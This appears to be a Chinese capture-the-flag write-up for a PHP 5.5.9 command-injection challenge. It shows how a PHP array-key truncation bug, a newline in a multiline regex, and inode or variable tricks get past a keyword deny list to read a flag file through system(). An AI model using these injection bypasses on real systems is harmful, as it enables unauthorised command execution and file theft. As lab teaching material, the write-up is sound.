进入题目,直接就给出源码

    1. <?php
    2. //php5.5.9
    3. $stuff = $_POST["stuff"];
    4. $array = ['admin', 'user'];
    5. if($stuff === $array && $stuff[0] != 'admin') {
    6. $num= $_POST["num"];
    7. if (preg_match("/^\d+$/im",$num)){
    8. if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
    9. echo "my favorite num is:";
    10. system("echo ".$num);
    11. }else{
    12. echo 'Bonjour!';
    13. }
    14. }
    15. } else {
    16. highlight_file(__FILE__);
    17. }

    分析代码,有一个system函数,但是需要绕过三处过滤。

    1. $stuff === $array && $stuff[0] != 'admin'
    2. preg_match("/^\d+$/im",$num)
    3. !preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)

    首先看第一个,这个需要用到php的一个bug:

    1. var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

    原理是因为在php 5.5.9的版本中,有一句result=p1->h - p2->h的操作,而两个h都是ulong,即unsigned long类型,但是result是int类型,这样赋值之后,会将低 32 位值送给 int 型变量,而将高 32 位截断舍弃。

    因此 , 这里只要满足十六进制数的最后 8 位( 也就是二进制的低 32 位 )全为 0 即可 , 至于前面是多少都无所谓 , 反正高位数据都会被截断 .

    再看第二个,需要$num的内容全部是数字,但是后面多了一个m的模式,表示支持多行,所以使用%0a即可绕过。

    第三处,基本上把常用到的命令都给禁了,但还是有办法读取

    1. 使用inode

      1. ls -i / #找到flag文件inode
      2. tac `find / -inum 3673632`
    2. 设置变量

      1. a=f;d=ag;c=l;tac /$a$c$d